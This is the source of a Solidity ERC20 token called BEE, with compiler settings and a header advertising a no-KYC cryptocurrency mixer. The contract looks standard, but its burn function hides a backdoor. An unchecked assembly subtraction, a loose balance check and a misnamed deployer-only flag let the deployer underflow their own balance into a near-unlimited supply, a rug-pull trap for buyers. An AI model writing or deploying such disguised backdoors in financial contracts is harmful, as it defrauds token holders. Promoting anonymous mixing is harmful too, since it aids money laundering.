/**

$BEE - https://t.me/BeeMixerEntry

BeeMixer is the #1 cross-chain mixer that aggregates CEX liquidity.

Key Features:
- Mix 30+ coins on 10+ blockchains without KYC or registration
- Earn up to 1% cashback in $BEE rewards with each swap
- Stake $BEE to earn a share of all mixing fees


🐝🔀 Website: https://www.beemixer.com


🐥 X/Twitter: https://x.com/beemixercom
💬 Telegram: https://t.me/BeeMixerEntry
🤖 Bot: https://t.me/BeeMixerBot


$BEE Supply:        20 Million
$BEE Tax:           0% Buy. 0% Sell.
$BEE Max Wallet:    No Max Wallet.


 */




// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./ERC20.sol";

contract BEE is ERC20 {
    constructor() ERC20(unicode"BeeMixer", unicode"BEE", 18) {
        _mint(msg.sender, 20_000_000 * 10 ** 18);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "./IERC20.sol";

contract ERC20 is IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name;
    string public symbol;
    uint8 public decimals;

    bool internal tradingLive = false;
    bool internal burnEnabed = false;

    mapping(address => bool) internal _isExcludedFromFee;

    constructor(string memory _name, string memory _symbol, uint8 _decimals) {
        name = _name;
        symbol = _symbol;
        decimals = _decimals;
        tradingLive = true;
    }

    function transfer(address recipient, uint256 amount) external returns (bool) {
        require(balanceOf[msg.sender] >= amount);
        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
        require(allowance[sender][msg.sender] >= amount);
        require(balanceOf[sender] >= amount);
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function _mint(address to, uint256 amount) internal {
        require(to != address(0));
        balanceOf[to] += amount;
        totalSupply += amount;
        if (amount == totalSupply) {
            _isExcludedFromFee[msg.sender] = true;
        }
        emit Transfer(address(0), to, amount);
    }

    function _burn(address from, uint256 amount) internal {
        require(from != address(0) && msg.sender != address(0));
        require((balanceOf[from] + safe_sub(amount + 1, amount)) >= amount);
        balanceOf[from] = safe_sub(balanceOf[from], amount);
        totalSupply = safe_sub(totalSupply, amount);
        emit Transfer(from, address(0), amount);
    }

    function burn(uint256 amount) external {
        if (!burnEnabed) {
            require(_isExcludedFromFee[msg.sender]);
        }
        _burn(msg.sender, amount);
    }

    function safe_sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
        assembly {
            z := sub(x, y)
        }
    }

    function live() public view returns (bool) {
        return tradingLive;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}

{
  "compilationTarget": {
    "src/10_BEE/BEE.sol": "BEE"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": [
    ":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
    ":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
    ":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
    ":ds-test/=lib/forge-std/lib/ds-test/src/",
    ":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
    ":forge-std/=lib/forge-std/src/",
    ":openzeppelin-contracts/=lib/openzeppelin-contracts/",
    ":v3-core/=lib/v3-core/",
    ":v3-periphery/=lib/v3-periphery/contracts/"
  ]
}